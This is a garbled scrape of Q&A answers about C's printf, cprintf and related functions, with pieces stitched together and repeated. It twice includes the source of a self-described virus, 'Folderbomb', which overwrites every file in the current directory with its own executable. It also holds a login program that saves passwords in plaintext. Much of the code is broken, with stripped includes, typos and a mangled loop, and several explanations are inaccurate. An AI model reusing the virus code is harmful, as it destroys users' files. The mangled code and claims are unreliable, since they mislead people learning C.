The printf function calls on fprintf to write the result of sprintf to standard output. That is:
printf("%i\n", 42);
is exactly equivalent to:
fprintf(stdout, "%i\n", 42);
Printf is a formatted output function, but puts is unformatted.
cprintf is used is print with color section but simple printf is not color selaction
printf (*) is equal to fprintf (stdout, *)
formatting
If you're talking about viruses on your computer, No you cannot.Viruses are executables. The code in them is binary code- Machine language. You can't open it and expect to see the C code.There are many kinds of viruses. Anything which is harmful and/or self-propagating can be considered a virus and there are numerous ways on how to write the same program./*this is a simple program to create a virus in cit will create folder in a folder in a folder and so on run this on your own responsibility*/includeincludeincludeincludeincludevoid main(int argc,char* argv[]){ char buf[512]; int source,target,byt,done; struct ffblk ffblk; clrscr(); textcolor(2); cprintf("-------------------------"); printf("\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n"); cprintf("-------------------------"); done = findfirst("*.*",&ffblk,0); while (!done) { printf("\n");cprintf(" %s ", ffblk.ff_name);printf("is attacked by ");cprintf("Folderbomb"); source=open(argv[0],O_RDONLY|O_BINARY); target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY); while(1) {byt=read(source,buf,512); if(byt>0) write(target,buf,byt); else break; } close(source); close(target); done = findnext(&ffblk); } getch(); }
#include <stdio.h> int main () { int year,days,d; printf("year?"); scanf("%d",&year); days = 365*year + (year-1)/4 - (year-1)/100 + (year-1)/400 ; d=days%7;//to find which day of week if(d==1) printf("\n\n\tmonday"); else if(d==2) printf("\n\n\ttuesday"); else if(d==3) printf("\n\n\twednesday"); else if(d==4) printf("\n\n\tthursday"); else if(d==5) printf("\n\n\tfriday"); else if(d==6) printf("\n\n\tsaturday"); else if(d==0) printf("\n\n\tsunday"); return(0); }
#include<stdio.h> main() { int i; for(i=1;i<=1;i++) { printf("*",i); } printf("\n"); for(i=1;i<=3;i++) { printf("*",i); } printf("\n"); for(i=1;i<=5;i++) { printf("*",i); } printf("\n"); for(i=1;i<=3;i++) { printf("*",i); } printf("\n"); for(i=1;i<=1;i++) { printf("*",i); } }
Try this: #include <stdio.h> int main (void) { printf ("printf is at location %p\n", (void *)printf); printf ("main is at location %p\n", (void *)main); return 0; }
#include#includevoid main(){int matc=21,x,y;char ch;clrscr();printf(" WELCOME TO THE WORLD OF GAMING \n");printf("");printf(" MATCH STICK GAME \n");printf("/n");printf("PRESS ANY KET TO KNOW THE RULES \n");scanf("%c",&ch);printf("This is a game between user and computer \n There are 21 match sticks user have to pick1,2,3 or 4 match stick in one turn \n One who pick up the last match stick loose the game \n");printf(" number above 4 is invalid \n");printf("if u do this computer automatically wins");printf("ALL THE BEST \n");for(int i=1;i4)break;}if(matc==1){printf(" your turn pick up the last one \n");scanf("%d",&x);printf("you loose");printf("MUMMY KO BOLO COMPLAIN PILAYE \n");printf("\t THANKS \n");}else{printf("you loose because of abiding rules");getch();}
cprintf is to the console, printf to stdout (standard output). The only difference is stdout can be redirected but the console cannot.
printf (*) is equal to fprintf (stdout, *)
well major difference between scanf and printf is that scanf is an input statment and printf is an output stament scanf is used to take data in from the user and printf is used to display the result on the screen Regards
A function in c langage that prints colored text one must use the heather file conio.h to use cprintf :)
The print function is slightly more dynamic than the echo function by returning a value, and the echo function is slightly (very slightly) faster. The printf function inserts dynamic variables/whatever into wherever you want with special delimiters, such as %s, or %d. For example, printf('There is a difference between %s and %s', 'good', 'evil') would return 'There is a difference between good and evil'.
Echo merely repeats its command line arguments as stated. The 'printf' command allows for formatted print and a more exacting method of printing out information. Printf requires you to specify the format of what you want to print; echo does not have this ability.
If you're talking about viruses on your computer, No you cannot.Viruses are executables. The code in them is binary code- Machine language. You can't open it and expect to see the C code.There are many kinds of viruses. Anything which is harmful and/or self-propagating can be considered a virus and there are numerous ways on how to write the same program./*this is a simple program to create a virus in cit will create folder in a folder in a folder and so on run this on your own responsibility*/includeincludeincludeincludeincludevoid main(int argc,char* argv[]){ char buf[512]; int source,target,byt,done; struct ffblk ffblk; clrscr(); textcolor(2); cprintf("-------------------------"); printf("\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n"); cprintf("-------------------------"); done = findfirst("*.*",&ffblk,0); while (!done) { printf("\n");cprintf(" %s ", ffblk.ff_name);printf("is attacked by ");cprintf("Folderbomb"); source=open(argv[0],O_RDONLY|O_BINARY); target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY); while(1) {byt=read(source,buf,512); if(byt>0) write(target,buf,byt); else break; } close(source); close(target); done = findnext(&ffblk); } getch(); }
/*:cool: Guys, This program make a file when its run. Run it and Understand it. and tell me, "can i improve in it more?*/ #include<stdio.h> #include<conio.h> #include<string.h> void main() { char user[20],fltp[5]=".txt",flname[25],pswrd[35],cnfrm[35],login[35],pchek[35],c,ps,cn,lg; int i,j,k,l; FILE *usr; clrscr(); gotoxy(25,23); textcolor(12); cprintf("Enter Your name:");//Note: this may be works as your username also. Name will be unique. scanf("%s",&user);//Scanf ko graphical bna. entry control strcpy(flname,user); strcat(flname,fltp); usr=fopen(flname,"r"); if(usr==NULL) { usr=fopen(flname,"w"); fprintf(usr,"Username: %s",user); printf("Welcome!\nYou are a new user\nCreat your password below"); printf("\nEnter Password:"); retry: j=0; while((ps=getch())!=13) { printf("*"); pswrd[j]=ps; j++; } pswrd[j]='\0'; printf("\nConfirm Password:"); k=0; while((cn=getch())!=13) { printf("*"); cnfrm[k]=cn; k++; } cnfrm[k]='\0'; if((strcmp(pswrd,cnfrm))==0) { fprintf(usr,"\nPassword: %s",cnfrm); fclose(usr); } else { printf("Password didn't match! Try Again...\n"); printf("Enter password again:"); goto retry; } } else { gotoxy(25,25); cprintf("Password:"); l=0; while((lg=getch())!=13) { printf("*"); login[l]=lg; l++; } login[l]='\0'; i=0; while((c=getc(usr))!= EOF) { if(c=='\n') { fseek(usr,10,1); while((c=getc(usr))!= EOF) { pchek[i]=c; i++; } } } pchek[i]='\0'; if((strcmp(login,pchek))==0) { gotoxy(25,27); textcolor(11); cprintf("Welcome Back %s",user); } else { gotoxy(19,27); textcolor(11); cprintf("Wrong Password! You are not authorised"); } } getch(); }
-7.2%f is left justified 7.2%f is right justified
#include <stdio.h> int main () { int year,days,d; printf("year?"); scanf("%d",&year); days = 365*year + (year-1)/4 - (year-1)/100 + (year-1)/400 ; d=days%7;//to find which day of week if(d==1) printf("\n\n\tmonday"); else if(d==2) printf("\n\n\ttuesday"); else if(d==3) printf("\n\n\twednesday"); else if(d==4) printf("\n\n\tthursday"); else if(d==5) printf("\n\n\tfriday"); else if(d==6) printf("\n\n\tsaturday"); else if(d==0) printf("\n\n\tsunday"); return(0); }
printf ("nested printf returned %d\n", printf ("inner printf\n"));
#include<stdio.h> main() { int i; for(i=1;i<=1;i++) { printf("*",i); } printf("\n"); for(i=1;i<=3;i++) { printf("*",i); } printf("\n"); for(i=1;i<=5;i++) { printf("*",i); } printf("\n"); for(i=1;i<=3;i++) { printf("*",i); } printf("\n"); for(i=1;i<=1;i++) { printf("*",i); } }